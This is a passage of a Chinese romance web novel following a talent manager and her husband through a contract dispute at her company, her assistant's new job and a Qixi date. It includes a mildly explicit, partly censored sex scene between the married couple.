钻进死胡同，自责、怀疑，一层层压下来，她越想越混乱，越陷越深。让邵成章这么一说，她现在明白了，不能用理想中的标准去丈量现实的结果。 也许在赵佳语眼里，沈灼选中了她又放弃了她，让她得不到应得的成果。可对沈灼来说，她已经完成了分内的事情，她并不需要对赵佳语的人生负责，每个决定都是她自己做的。 想通之后，沈灼这才露出一个舒心的笑，“我明白了，谢谢老公！” “开导费付一下。”邵成章笑眼看她。 沈灼搂住他的脖子，在他嘴巴上亲了一口。 “就这样？”邵成章显然很不满意。 “对啊，就这样。”沈灼躺回去，笑嘻嘻地看着他。 “不行，至少要这样——”话音刚落，邵成章俯下身，讨了一个缠绵又深入的热吻。 沈灼手顺势揽住他的脖子，让他离得更近，胸脯贴着胸膛。 她张开牙齿伸出舌尖来回应他，邵成章今晚已经“拒绝”过她一次了，这次绝不会再放过她了。他唇舌入侵进她的口中，搜刮着她的口腔内壁，追逐着她的软舌。 空气渐渐稀薄燥热，沈灼被吻的喘不过气，忍不住哼了一声，邵成章才松开她。 沈灼微微喘着，她的脸色和唇色此刻一样鲜艳，“奸商，怎么还亲一送一啊。” “谁让我刚刚那么担心你，你还什么都不和我说。” 沈灼说：“你的担心是你的事，怎么能让我负责呢，我又没让你担心。” 邵成章挑眉：“这时候脑袋瓜儿倒是转得快了啊。” 沈灼哼笑一声，翻身过去平躺着，拍拍旁边的位置，说道：“好了，我们睡觉吧。” “睡觉？”邵成章向她那边挤了挤，虎口卡住她的下巴，捏着她的脸说，“这个时间你和我说睡觉吗？” 沈灼点点头，睁着眼睛一脸无辜的样子，她说：“对呀，已经十一点多了诶。不睡觉干嘛，或者你要再去工作一会儿？” “谁说的要做的？” “做什么？”沈灼眨眨眼，“我说的是做心理疏导，现在已经做完了呀。你快躺回去。” 邵成章没想她这么耍赖，“好，这么玩儿是吧。”他又凑近了说，“老婆，我们做/爱吧，这回说得清楚吗？” 沈灼眼睛一转：“可是我现在没有感觉诶。” 邵成章盯着她，似笑非笑道：“是么，那一会儿看我能不能还让你没有感觉。” 沈灼推开他，想扯过腰间的空调被蒙住自己，被邵成章眼疾手快地抓住了，他将被子抓住扔在一边，沈灼大喊：“我冷！” “没事儿，一会儿就不冷了。”邵成章倾身压下去，他的体温覆盖在她的身上，是热的，是烫的。 他再次吻上去，手掌之下皆是爱/抚，她的后腰已经开始感到酥/麻。 邵成章太熟悉了，他对沈灼的所有反应都了如指掌。这时候他离开她的唇，抬头，眼睛紧盯着她，勾唇。 但一切并没有按照沈灼想象中的来，此刻沈灼也不冷了，她热了也湿了，却只见他一直望着她。沈灼咬唇，轻微皱眉。 邵成章看着她这副样子低低地笑起来，问她：“还是没有吗？” “你……你故意的是不是！”沈灼要推开他，被他大手捉住而后禁锢在胸前，推不动，“邵成章，你不要后悔哦。”沈灼嗔怒地瞪着他。 “着急了啊？”他勾起嘴角逗她。 “我才不着急，我怕急得另有其人。”沈灼撇过头去。 “是吗，那正好，今晚春宵千刻万刻，我们慢慢来。” 邵成章用尽了自己所有的意志忍着，在看不到的地方四处游走，流连忘返，就是不彻底帮她，沈灼受不了，催促他快点。 听到她说快，邵成章还记得上次沈灼和他视频说的什么，不过没关系，快不快，她今晚会知道的。 “快点什么，我怕又理解错了惹老婆不开心。”邵成章磨着她。 “……进来。”沈灼小声嗫嚅道。 “嗯？进来哪里？”邵成章吊着她，“说出来，我才能知道啊。” 沈灼的羞耻 心爆棚，可还是忍不住在他耳边呓语，说出了自己的欲念。 邵成章恨不得下一秒就把她直接嵌在身体里，但他强忍着，说话的声音都紧绷着：“是想我用手指，还是舌头，还是别的什么？” 沈灼抬腿搭在他的膝盖后窝上，往上拱了拱刺激他，和他紧贴着，“我都要。” “老婆怎么这么贪心啊。”邵成章拉长了调子，说得十分色/情。 沈灼冲他眨眼，荡出甜腻又勾人的眼波，她坏笑道：“谁说我不需要你了，我需要你，就现在。” 邵成章浑身的血液似乎都往一个地方涌去，他迫不及待，要和她一同沉沦。 第60章 如沈灼预料一般，听到赵佳语要解约，杨瑞泽连眉头都没动一下，语气轻飘飘地：“让她赔违约金，照合同走。” 沈灼早有准备，去法务部那里找出赵佳语的合同，放在杨瑞泽面前，有的地方被高光标亮了，十分显眼。 她说：“杨总，以赵佳语在公司这些年的接的项目和商务代言，都不够她付违约金的，更关键的是，公司这几年对她的定位和资源配置，确实与当初承诺存在出入。如果真打官司，从法律层面讲，我们并不占优势，她的胜算很大，到时候闹到明面上，只会对公司更不利。” 本来鲸禧娱乐这几年签的就没有特别火爆的艺人，财报数字一年比一年难看，现在仅靠着步繁的影视约和两三名艺人的流量维持着主要营收，如果此时爆出来公司和艺人官司的负面消息，会影响公司后面签新人。 杨瑞泽不当回事：“告吧告吧，让她告去吧，一个十八线的小艺人能翻出什么浪花来？再说，她真敢告吗，她以后不想在圈子里混了？” 沈灼在心里翻了无数个白眼，面上还得保持着冷静：“杨总，关于这个问题，我也已经和法务部的同事们沟通过了，出于公司名声考虑，最好的办法还是私下和解。而且赵佳语明确表示，以后不会演戏了，如果真要她赔违约金，她一定会打官司的。您想一下，毋庸置疑她会曝光这些年公司的不作为，舆论矛头一定是指向公司的，媒体和群众也一定会站在她那边，公司里可不止一个‘赵佳语’，到时候引起其他艺人的证实，甚至和她站在统一战线，后果我想您比我清楚。步繁的合约是一年一续，公司出这种事，她还有可能和我们续约吗？” 杨瑞泽听完沈灼的分析，抬眼看向她，面上终于有一丝动摇，“你是说，我们就这么放她走？按你说，的，如果其他艺人都拿合同标准说事，那他们都可以走了，都不用违约金了？拿我这当什么地方了这是？” “不是放她走。”沈灼说，“杨总，是以公司的体面方式妥善结束合作。对外口径可以由公司主动终止合约，出于艺人发展方向考虑，不再继续合作；同时我们可以与她签署保密协议，明确不得泄露相关内容。” 办公室陷入短暂的沉默，杨瑞泽缓缓靠回椅背，猛吸了一口雪茄，“行，我考虑考虑吧。” 杨瑞泽考虑的时间不长，下午就给沈灼发消息说同意和解，但要签保密协议。 沈灼将结果告知了赵佳语，问她是否同意现在的结果。 赵佳语回复：“我可以签保密协议。” 沈灼：“好，这两天有时间来趟公司吧。” 两天后，赵佳语如约而至，在会议室里签下了协议。鲸禧娱乐发布了简单的官方声明，赵佳语个人微博也同步发布了解约文案，一切收尾得平静而体面。 赵佳语临走之前很郑重地和她说了声“谢谢”。 沈灼说不上来什么情绪，对她说：“这是我应该做的，就像几年前我签你进公司一样，直到现在我做的每件事都问心无愧。” 赵佳语没再说什么，她曾经满怀希望地想要在这间公司里大放光彩，却没想到最后带走的，只有两张单薄的纸。 沈灼站在办公室的窗边，夏日午后毒辣的阳光将一切照得无所遁形。 赵佳语穿过公司前的广场，走到街角的红绿灯前。沈灼一直目送着她，直到绿灯亮起，零零散散的行人涌向马路对面，赵佳语立即混入人群之中。 沈灼终于移开目光，她再也分不出谁是谁了。 回到座位，沈灼拿起手机给夏丽群发了几张截图，是赵佳语资料里演过的一些代表作和个人基本资料。 “丽群姐，你看这个姑娘演短剧合不合适，其实演技还可以的。” 如果赵佳语仍然热爱演戏，她还是想帮她一把。 夏丽群说：“挺好的呀，不过我看是鲸禧的艺人？” 沈灼道：“嗯，已经解约了，要是她能去你那最好不过了。” 夏丽群说：“行，我回来联系她看看。” 沈灼说好，最后还特意叮嘱夏丽群千万别告诉赵佳语是她推荐的。 * 已是盛夏，酷热刚退，接踵而至的是铺天盖地的强降雨。全国范围内连着下了五天大雨，时不时轰隆一声，响起一声惊雷，总让人感觉天要碎个窟窿出来。今年的极端天气似乎比往年还要严重。 关司予本来安排的B2驾驶证考试，都因为暴雨往后推迟了。 《雾灯》剧组已经在建组筹备了，黎雅琦一个月前就已经进组了，拍摄地也没避免暴雨的袭击，剧组室外的置景工作只能暂时停止。 黎雅琦在朋友圈发了一个求雨停的朋友圈，沈灼给她打了个电话，关心一下剧组的情况。 黎雅琦说自己去看了《南方没有雾》，非常肯定关司予的表演，并且提前恭喜破十亿票房。 《南方》上映已经将近一个半月的时间了，目前票房成绩是9.2亿，片方那边是想一直等到靠近十一黄金周再下架，还有一个半月的时间，怎么也都破十亿了，这还是关司予第一个突破十亿票房的电影。 黎雅琦笑说，得亏签的早，要不然现在这个片酬可是请不来关司予。沈灼和她客气道，如果是雅琪姐的项目，降片酬也要来的。她瞥到林意在门口探头探脑，又和黎雅琦简单说了几句，挂了电话。 “怎么了林意，找我有事？”沈灼朝她招手。 林意站在门口犹豫了几秒才走进来，她支吾道：“沈灼姐，怡华那边给我发offer了。” 沈灼眼睛一亮：“真的啊，好事儿啊。” 怡华是圈内数一数二的影视公司，主营内容涵盖电影电视的投资、制作、宣发、发行等等，而且面试有五轮，能拿到最终offer说明林意是真的很优秀。 林意说：“那边问我最快什么可以入职，我不知道……” 沈灼笑说：“就九月呗，也没几天了，这两天可以办理一下离职。” “不是要提前一个月吗？” 沈灼说：“嗐，这不是硬性规定，你这几天把手上的工作收一下尾，和人事提离职，我给你签字。” 林意点头：“谢谢沈灼姐。” 沈灼笑了下：“晚上有事没，姐姐请你吃饭，就当庆祝你离职。” 林意摆手：“不，姐姐，应该我请你的，是我要谢谢你。” “你那点工资还是好好留着吧，等进了怡华拿到工资了或者试用期过了再请我吃饭。” 林意听了，重重点头：“嗯！” 临近下班时，沈灼给邵成章发了条消息，说今晚不回家吃饭了。她原本想带林意去一家口碑不错的西餐厅，但那地方太远，外头暴雨如注，既怕堵车又怕淋湿，最终她们还是选择了公司附近的商场餐厅，进出都有地下车库，省事不少。 对林意来说，沈灼一直是一个非常好的领导。在她做助理的这两年里，沈灼不仅从未因她非专业出身而轻视她，反而会主动给她推荐行业书籍，手把手教她怎么看剧本、筛项目，指导她从制作、调性到演员匹配去思考。林意知道，若不是沈灼，她根本不可能拿到怡华的offer。 “沈灼姐，我真的舍不得你。”快吃完饭的时候，林意有些感伤地说。她垂下眼睫，小声补了一句，“而且……我还有点害怕。” “怕什么？”沈灼拿餐巾擦了擦嘴角，笑说，“你比我刚入行的时候可强多了。” 她顿了顿，笑着回忆：“你知道我第一次来鲸禧实习的时候，带我的花姐让 我去找某个艺人，我忘了是干嘛了，结果我站在休息室门口磨叽了十几分钟，连个字都没敢说，只敢鬼鬼祟祟地看着，路过的工作人员差点以为我是私生，要把我轰出去。” “真的？”林意忍不住笑出声，“我完全想象不出你那个样子。” “人啊都是慢慢锻炼出来的，其实你去了就会发现大平台大公司也没有什么的，工作嘛，能有多难。”沈灼说，“拿出你的自信来，好好做就行了，你是我带出来的，可不准给我丢人。” 林意连忙点头：“嗯，我一定不给你丢人。” * 沈灼哼着轻快的小调回到家，邵成章已经在书房进行工作了。自从和沈灼在一起，只要没有饭局，他现在几乎都是按时回家，毕竟家里有想见牵挂的人，加班他也得留在家里处理工作，而不是一个人闷在冷清的办公室。 见他正在工作，沈灼没上前打扰他，她径直去了客厅，把阿瑞斯放出来玩了会儿，她现在和阿瑞斯熟悉了，也敢直接从生态箱里把它拿出来了。 邵成章暂时忙完手上的工作，去客厅找沈灼。 “什么事这么高兴？” 沈灼闻声转头，看到邵成章端着杯水递过来，她接过喝了两口，语气特别骄傲：“我内推小助理去怡华面试，今天告诉我她拿到offer了。” 邵成章即使不熟娱乐圈，但怡华是行业翘楚，他听过的，颔首说道：“很厉害。” “那当然了，也不看看是谁的人，我和你讲，我眼光一向都可好了。” 邵成章笑着说：“嗯，看出来了。我眼光也一向很好。” 反应过来他在说什么，沈灼啧了一声，“行吧，这个我是同意的。” 邵成章笑起来，问她：“这个周六有安排吗？” 沈灼想了想，说：“应该是没有，怎么了？” 邵成章说：“那我提前预定你周六一天的时间，不准你工作。” 沈灼眉头微动，不知道他要干什么，沈灼挑了挑眉，“你先保证自己那一天不工作吧。”说到工作，邵成章其实比她忙多了，毕竟他要管理一整个公司。 邵成章说：“我已经安排好了。” 沈灼有些好奇：“所以那一天到底要干什么？” “我想和你去约会。”邵成章看着她，一字一句认真地说，“可以吗？” 这个周六是七夕，是他们在一起之后的第一个节日。他再忙也要腾出时间，和她一起过。 邵成章本来也不想提前告诉沈灼的，但是给她准备惊喜实在太难了，因为她的工作随时有紧急情况，她也真的是说走就走，以防万一还是先把她的时间约出来吧。 沈灼一怔，她刚思索了一圈，还以为是要回邵家或者有什么需要她出席的活动，全然没想到他要去约会。不过仔细想想，他们好像还真没正儿八经地约过一次会。 她嘴角翘起来，答应他：“好啊，我们去约会吧。” 邵成章也笑了：“嗯，一切都交给我，你什么都不要操心。” “那你约会想去哪儿呀？”她追问道。 邵成章顿了两秒：“其实，如果可以的话，我哪儿也不想去，只想和你在床上从早做到晚。” “……”沈灼原本扬起的嘴角瞬间掉下来，白了他一眼。 “老婆，如果你不想在床上的话，在其他地方也行。” “……”沈灼瞪着他，她已经不想理他了。 邵成章哈哈笑起来：“逗你的，我们随便逛逛吧。” “你最好是哦！”沈灼不是很相信他。 “你信不过我啊？” “信不过。”沈灼摇头。 “在你心里，我是什么人啊？” 沈灼斜他一眼，哼了声说：“大流氓，前面加点定语的话就是有钱长得帅身材好的大流氓吧。” 邵成章突然从沙发上滑下来单膝跪着，手穿过她的膝盖，将她直接公主抱起来。 沈灼惊呼：“你干嘛！” “如你所说，将流氓贯彻到底。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 邵成章嘴上说着随便走走，但实际上规划好了一整天。上午十点，他准时吻醒了还在熟睡中的人。 沈灼迷迷糊糊睁开眼睛，一张十分英俊帅气还有几分少年感的脸出现在眼前。 邵成章已经捯饬好了，他的头发不长，每次出门前都会用发泥随便一抓，然而今天要出去约会，他的重视程度简直达到了最高级别，前额每一撮头发的方向都是精心打理。 就凭着邵成章这一张完美的脸，她都觉得生活都有了奔头。女人，就是要找帅哥才有力气讨生活啊。 见沈灼一瞬不瞬地盯着自己，邵成章还很开心，但是时间越长，他心里越没底，是不是自己哪里搞得不好了她不满意。 “怎么一直盯着我？”邵成章问。 沈灼手抚上他的脸，指腹蹭着他的脸颊，忍不住夸他：“我老公怎么这么好看啊，这是人类能拥有的长相吗？” 邵成章没想到沈灼大夸特夸，有些害羞，耳尖微不可查地红了。他垂下眼，忍不住抿着嘴，漾开一个十分满足的笑，“先起床简单吃点东西。”邵成章握住她的手，脸颊在她手心里蹭着。 沈灼还没完全醒，翻了个身脸埋进被子里，闷闷地问道：“一定要出门吗？”她还有点累。 昨晚，邵成章实在是恶劣。 她仰躺着，身下是硬如铁的身躯。 黑蛇吐着信子穿过丛林，经过泥泞，一切都变得邪恶，可又觉得美妙。 又是新的知识，还可以这样…… 她觉得他不像是去出了个差，反而是去上了一个进修班一样。 若是无师自通，她只能说他是天赋异禀了。 她想，她以后还是不要随便在这种事上面否定他，邵成章是真的会记仇，故意摩着她，等她变得汪洋，也不给个痛快，一直要她软着声音告饶，他会卡着她的下巴，问谁快。 好女不吃眼前亏，她哼叽着说：“我…行了嘛！”虽然这好像也是事实。 邵成章就会笑着去吻她，将她的不满全部堵在他的嘴巴里。 其实邵成章每次都让她十分满足舒服，但她就是忍不住故意这么说逗他玩。 邵成章听她这么说，调侃说：“也可以不出门啊，我有PlanB。” 沈灼听他这语气就知道没安好心，一下子掀开被子，“算了，我还是起来吧。”说着她下床进洗手间洗漱，邵成章笑着去给她做了个三明治。 解锁手机准备播放个歌单，才发现姜珺给她发的消息，祝她有个难忘的七夕，还跟着一个坏笑的小表情。她这才知道今天原来是七夕，怪不得邵成章要约会。 七夕对以前的沈灼来说，根本不算节日，又不放假，而且她自己也不过，一是没有男朋友，二是这天不管是在哪里，都会被小情侣们攻占，她懒得凑热闹。 既然邵成章想过七夕，她就陪他一起过。 想起上次两人去看脱口秀的时候，他对于自己的松弛提出了抗议，以为自己是不重视，但实际上沈灼私下本就不爱打扮，不过邵成章已经很用心地准备今天的约会，她决定化个精致的妆，穿条裙子。 衣柜里可选的不多，翻来翻去，选了一条黑色吊带包臀裙，腰身鱼骨设计可以将腰臀很好地勾勒出来，是之前和姜珺旅行时买的，只穿过一次。 妆化好后，她用卷发棒随意卷了大卷，又走进衣帽间准备挑鞋。一拉开鞋柜，她顿时一愣，发现又多了三双新的高跟鞋，全是CL家的红底。 她托着下巴看了半晌，若有所思：看来某人喜欢她穿高跟鞋？ 最终她挑了一双小猫跟，既好看又不累脚。换好后，她走出卧室想让邵成章看看效果。 邵成章正坐在客厅，听到她喊他，抬头的瞬间整个人愣住了。 沈灼很 少如此打扮，精致、性感、耀眼得让他一时说不出话。他的眼神定定地落在她身上，完全移不开。 “怎么不说话啊？不好看吗？”沈灼手拨了下头发，低头看了眼自己搭配的这一身，也还好吧，难道是妆画得太过了？ 邵成章喉结一滚：“不是不好看，是太好看了。”他说着站起来，走到她跟前，手扶上她的腰，眼神满是柔情：“老婆，你今天真的……美得让我不想让别人看到。” 他情不自禁低头要亲她，被沈灼侧脸躲开，“嗳，你别碰我脸，要不然我粉底和口红还要重新补。” 邵成章的嘴巴落了空，微微撅起来说：“老婆，其实不用这样的，我知道你不喜欢化妆穿裙子，所以按你舒服的来就好了。” 沈灼无语地瞥他一眼：“我不化妆穿得随意说我不重视，我化了妆穿得精致又让我按舒服的来，好赖话都让你说了啊，那以后你来找衣服吧。” 邵成章乐了：“真的？依我看，在我面前还是不穿最好了。” 算了，今天过节……她硬生生把到嘴边的“滚”给咽下去了。 懒得搭理他，她拎起包准备出门，邵成章立刻乖乖跟上。他开车带她去了一家气氛极好的西餐厅，餐桌上点着蜡烛，还摆着一支红玫瑰，菜品也精致，十分富有仪式感。沈灼忍不住拍了几张照片。 她拍菜品，邵成章就拍她。 沈灼验收他的成果，翻开相册，瞬间无语，这都拍了些什么……死亡顶光打在脸上也不找角度直接就是咔嚓。沈灼把照片全都删了，告诉他收手吧，他的手机放在她这边也不打算还他了。 邵成章有点委屈：“你不喜欢吗？” “总算让我知道你也有不擅长的地方了。”沈灼笑勾了勾手，“手伸过来。” 邵成章听话地伸手过去，沈灼握住。她的手修长漂亮，他的手骨感青筋分明，找好角度，沈灼拍了一张牵手的照片，灯光正好打在戒指上，照片上有一点星光。 沈灼将照片展示给他看，邵成章刚刚耷拉着的嘴角又重新翘起来，“老婆，你拍的好看，发我好不好？” “沈大摄影师的照片可是很贵的。” 邵成章握紧她的手，拇指在她指根上摩挲，他说：“多贵我都要了。” 沈灼指尖在手机上点了点，她手肘旁边的邵成章的手机屏幕亮了一下，她说：“大发慈悲地发给你，支持先用后付。” 邵成章低低地笑了声，说好。 吃完饭，邵成章才拿回自己的手机，没一会儿沈灼手机也亮了，她一看，是邵成章发给她的转账：131452.10 多少？！ 她愣了一秒，随即停下脚步，认真数了数……十三万多。她迅速点开转账，毫不犹豫地点了退还。 “你给我转这么多钱干嘛呀？”沈灼瞪着眼问他，如果是1314或者521这种的她也就收了。 “买你的照片钱啊。”邵成章低头看了眼手机，刚才振动了一下，他以为沈灼收下了，没想到却是给他退回去了，“为什么不要啊……” “邵成章，你知道你转了多少吗？是十三万一千四百五十二块一啊。”她特意加重了十三万这三个字，这对她来说，也不是小钱了。 “我知道啊。” “好吧，那你知道微信的提现手续费很贵吗！”沈灼说，“你要转也转银行卡呀！” 她用这个理由搪塞过去，毕竟邵成章肯定不知道她的银行卡密码。 结果，刚走到停车位，她的手机就有一条银行短信的提示信息，这下她是连退回都不能退回了。 “你怎么知道我卡号的啊？”上车后，沈灼震惊地看着他。 邵成章笑了下：“你什么我不知道啊。” “不公平！你知道我的，我都不知道你的。” 邵成章倾过身子帮她系安全带，顺便偷走了一个吻，“什么我的你的，不都是我们的吗，这叫共同财产，钱在你卡里和我卡里都一样。” “怎么能一样啊，之前说好我们各花各的。” 邵成章刚准备启动车子，听到沈灼这话又顿住了。他一手扶着方向盘，微微侧身转向沈灼看着她：“之前有那个协议是因为我们没有感情，但现在我愿意给你花钱，是因为我爱你，所以不要再拒绝我了好不好？有时候，我不知道除了给你钱和买点礼物，还能给你什么，你总是可以很独立地解决好所有问题，我怕你根本就不需要我。” 沈灼一怔，伸手捏了捏他的耳垂：“我当然会需要你啊，你对我来说……”沈灼想了想措辞，“就像空气一样。” 邵成章正回身子，看着前方：“我就这么没有存在感吗？” “不是啊，”沈灼笑着说，“虽然空气无色无味没有存在感，但是每个人都需要呼吸啊对吧，所以我需要你，你不需要为我做什么，你在这里，我就会感到很安心。” “我是不是可以理解为，没有我，你就会缺氧死掉。”邵成章用期待的眼神灼灼地看着她。 “……”沈灼想，她倒是没有这个意思，这是怎么理解的？ 一身反骨劲儿又上来了，她特别想煞风景地怼他一句：就算没有他，将来的某一天她也会死去啊，谁能活着离开这个世界？！ 但是想了想，还是咽了回去，要不然小狗听了又要不开心了。 “嗯……你要这么理解也不是不可以。” 邵成章漾开一个大大的笑容：“老婆，你原来这么爱我啊……” 沈灼呵呵笑道：“是啊，所以你能告诉我你的银行卡号了吗？” 邵成章启动车子，以不知道卡号为由搪塞了过去。车子一路向外即将驶出市区，进入一片幽静的私属地段。沈灼猜不到他要去哪儿，问了他一句。 “到了你就知道了。”邵成章神秘地说。 沈灼没想到，他带她来的是一座私人展馆。沿途连过两道门卡，最终停在一幢红灰白为主调的建筑前，设计很像英剧里的那种庄园。 邵成章告诉她，这里的房主是英国华裔，也是一名收藏家，常年往返世界各地参加拍卖会，专门搜罗古董和珍品，并且并不对外开放，外界鲜有人知晓此地。沈灼颔首，确实很难想象在A市竟然会有这样的地方。 二人沿着小径前行，管家Palino跟在他们身后侧，两侧是宽阔修整过的草坪，各矗立着一座大型雕塑。邵成章介绍这是安东尼布德尔的作品，沈灼摇摇头说不知道。 “他是罗丹最有名的学生之一，他的作品通常比较强调线条，偏向宏大叙事……”邵成章一边走着一边和她介绍。 走进那幢建筑时，沈灼觉得自己是进入了一个博物馆。Palino说共有三层，两层地上，一层地下。 一楼以西方古典艺术为主，有不少精巧的雕塑作品。二楼偏重于东方古董，摆放着唐宋明清的陶物瓷器、书画甚至还有宫廷日用器物。正中央是一只宣德青花龙纹静静地躺在恒温恒湿展柜中，上方的射灯灯光打在釉面上泛起温润的光泽。地下一层是文化相关，多是一些手稿和世界名画真迹。 总之每到一层，总能让沈灼大开眼界，暗自惊叹。旁边还有Palino和邵成章讲解。时不时讲解员二号还会举起手机，给老婆拍照。 已经在这里面逛了将近两个小时，邵 成章担心沈灼穿的小高跟会累脚，他问：“累不累，看完了我们去喝个下午茶？” 沈灼也看得差不多了，便说好。 告别Palino，邵成章带着沈灼再次返回市区。 一上车，沈灼才觉出疲惫，靠在座椅上问他：“你是怎么找到那地方的？” “你喜欢吗？”邵成章没答反问。 “当然喜欢！太棒了！” “你之前说过喜欢看展逛博物馆。今天周末，公立展馆肯定人多，我就和William说，带你去看看那边。” “所以房主是你朋友？” “嗯，几年前在拍卖会上认识的。” 沈灼听着，只觉那种生活离自己很远。但和邵成章在一起时，这种距离感却神奇地很少出现。他很少在两人交谈聊天中提到钱，哪怕她知道他用的东西大部分都是有专人打理或者定制。 就像今天，哪怕展览里都是价值惊人的收藏，她竟然没有丝毫不自在。Palino也从未让她感觉自己“格格不入”。对于每件展品，他没有炫耀价格，只是非常绅士地细细介绍物件的来历。句句不提钱，句句都是钱。 不像某些newmoney，买点东西恨不得让周围人都知道价格，让人只觉俗气。 邵成章预定了一家高空餐厅吃下午茶，60层的高度可以直接俯瞰整个A市的繁华。 路过几个商场，沈灼看到外面广告大牌都是祝福七夕的，想起来，今天邵成章还没和她提过这事儿呢。 到达目的地，邵成章牵着她走进餐厅，服务员站列两边，对他们二人鞠躬迎接，经服务员指引，他们来到最中间的观赏座位，桌上还洒满了玫瑰花瓣。几乎是没见过这么养眼的情侣，站在一边的服务员频频偷瞄，忍不住感叹真是男帅女美，般配得很。 入座后，沈灼一直在低头敲手机，像是在回复消息，邵成章问她是不是有工作，她又输入了些什么才放下手机，和他说不是。沈灼环绕四周，发现这里只有他们二人，没有其他客人。 “这家下午茶是不是徒有其表，怎么都没人来啊。”沈灼手挡住嘴巴，悄声对他说。 “不是，”邵成章笑了下，“没人是因为我包场了，老婆。” 沈灼瞪大眼睛，十分不解：“为什么要包场啊？” “你不是不喜欢人多的地方吗？今天不包场，大概率会坐满，会有点吵。”和女朋友出来吃个千八百的下午茶没问题，可如果花个十万八万的只为吃个下午茶，那还是少见的。 沈灼心情复杂，只想扶额，她说的人多只是针对那种出去玩人挤人的盛况，也不用去哪儿都花钱包场吧，有钱就是这么任性吗…… 心疼，真的心疼那些钱……要不然下次约会，还是她来安排吧。 “你不喜欢吗？”邵成章问。 “没有啊，”沈灼摇头，笑了下，“但是下次真的不需要包场了，没必要呀，浪费钱。” “你开心就不浪费。” 沈灼扑哧一笑，“邵成章，你是不是去上什么课了，怎么现在说话一套套的。” “我明明说的都是心里话。”邵成章冤枉道。 服务员将甜品送上来，邵成章要开车，将他的香槟换成了茶。 邵成章给她介绍哪些是甜的，哪些是咸口的，并且把她应该会喜欢的甜品拿到了她面前。她拿起叉子品尝了一口，口感细腻，甜度刚好，十分惊艳，她冲着邵成章点头表示肯定。 “我喜欢吃的你都记得啊。” 邵成章挑眉，得意地说：“当然了，你喜欢的不喜欢的，关于你所有的一切我都记得。” 沈灼切了声，想刁难他一下：“那咱们俩第一次见面的时候，我穿的什么衣服？” 邵成章回忆了下，“米白色的衬衫，卡其色的风衣。” “真的假的？”沈灼自己都忘了。 “哼，就知道你不记得。” 沈灼来了兴趣，冲他眨眨眼，“哎，你不会对我一见钟情吧。” “那倒没有，可能是三见吧。”邵成章诚实地回答。 沈灼想了一下他们一开始的接触，她和他只顾着较劲了，好像关系缓和的转折就是他送她一箱子Lumi的隐藏款开始。 还真是三见之后。 “那你没见过我，就敢约我出来见面啊。” “也不是没见过啊，我和妈妈第一次见面，她就给我看了你的照片，你在海边笑得特别开心，很好看。” 沈灼啧啧两声，“那你根本是看见我照片就有点心动了么。” 邵成章笑说：“好吧，也可以这么说，总之会觉得你是我的理想型，相处之后发现越来越喜欢。” “你理想型是什么样的啊？就是性格开朗爱笑的那种呗？”沈灼听邵成章提起过他的前任，好像也是热情开朗型的。 “理想型就是你，你什么样，我就喜欢什么样的。” 沈灼眯起眼睛，“你说实话，你真的只谈过那一个女朋友吗？”怎么说情话信手拈来，甚至今天的约会安排也是，哪里像没谈过的样子。总感觉是前人栽了树，她现在在乘凉。 “那个就是大学的时候没想明白才答应对方的，我们手都没牵过，严格意义上也不能算做是女朋友。”邵成章反驳后接着说，“其实只要爱一个人，你就是想给她最好的，为她做的所有一切都不会觉得麻烦和浪费时间，反而甘之如饴，并且很期待她的开心，如果做不到，那就是不够爱。” 沈灼抿着嘴巴笑，放在桌子上的手机突然响了，她接起来，只说了两个好便挂了。 “有工作？”邵成章问。 “没有，你都提前把我的时间约出来了，那我今天的时间都给你呀。”沈灼起身，“我去下洗手间，等我一下。” 沈灼在达到餐厅的时候，从外卖平台上下单了一束花，刚刚就是闪送的电话，说餐厅的服务员帮忙拿进去了。 沈灼谢过帮忙接收的服务员，她买的花束不是特别大，但是花束搭配的色彩十分明媚。她将花束背在身后，走到邵成章身边，然后将那束花举到他面前。 “宝宝，送你的，七夕快乐！” 邵成章抬头，惊讶地看她，他接过来，抱在怀里，眼睛弯弯的：“你什么时候买的花？” “那你别管。”沈灼眨了下眼睛。 花束里还插着一张卡片，邵成章拿出来，上面写了一行字：“关于快乐，没有情绪的日子，都过得不错，但有你，快乐就有了颜色。”【1】 正如这束花，是明艳的，缤纷的，绚烂的。 “你喜欢吗？”今天邵成章问了她好几次喜欢吗，终于轮到她问一次。 “谢谢老婆，我好喜欢。”邵成章邵成章眼神温柔，笑着点头，“不行，我要把它拍下来。” 沈灼半信半疑地看着他：“你拍照技术堪忧，还是我来吧。”她接过手机，刚开始是拍花，拍着拍着就顺势拍下了他怀抱花束的模样。 邵成章说：“老婆，这个时候我们不该拍一张合照吗？” “那你过来。”沈灼坐在长沙发上，让坐在对面的他过来。沈灼很少自拍，邵成章就更别说了，两个人只会一同看向摄像头，对着手机就咔嚓了下，一张照片全靠俩人颜值撑着。 服务员特别有眼力见，连忙上前问需不需要帮忙，沈灼略显尴尬地笑了笑，把相机切换到视频模式，“麻烦你帮我们录一段吧，我自己截图。” 这是她和姜珺出去玩拍照常用的方式，就是因为摆拍动作和表情太僵硬，反而视频里还能生动些。 邵成章搂着沈灼的腰，沈灼怀里抱着花束，比心比耶尴尬地摆了两秒，沈灼这时候也大脑空白，什么双人拍照姿势根本想不起来。不然就亲他一下？沈灼脑子里突然闪过一个想法。 也不管尴不尴尬了，她抬头，没 想到邵成章一直垂头看着她，本来想亲在他的脸颊，刚好还是自己好看的左半边脸，这下直接接吻了。 邵成章整个人僵了一下，他不太习惯在外人面前亲昵，但——老婆在亲他啊！ 他动也不敢动。 两人距离太近，都没闭眼，就互相看着。沈灼感觉自己快要斗鸡眼了，忍不住噗嗤一笑。“我不行了。”她笑着捂住嘴巴，连忙谢过服务员，取回手机。 坐回去后，她靠在他肩上翻看视频，两人笨拙的动作和僵硬的神情让她忍不住发笑。边看边截图，好不容易挑出几张像样的，然后修了一下。 邵成章把整个视频都要了去，他和沈灼的记录他要都保留着。 沈灼吃了甜品后又恢复了精神，说要去公园走走，邵成章就近搜索了一个开车过去，下车的时候他给沈灼贴防蚊贴。手臂上各贴了一个，邵成章蹲下给她贴在脚踝上。 她脚踝纤细，他的大手握着她的脚踝，在外侧轻贴上一片，起身前忍不住多看了两眼，还轻轻摩挲了一下。 “老婆，你穿高跟鞋真好看。” “所以这就是你一直给我买高跟鞋的原因？”沈灼说，“别以为我不知道你又买了三双对不对？我工作又不穿，你买那么多干嘛啊……” “你可以……穿给我看啊。” 沈灼斜了他一眼，“就知道你没安好心。” 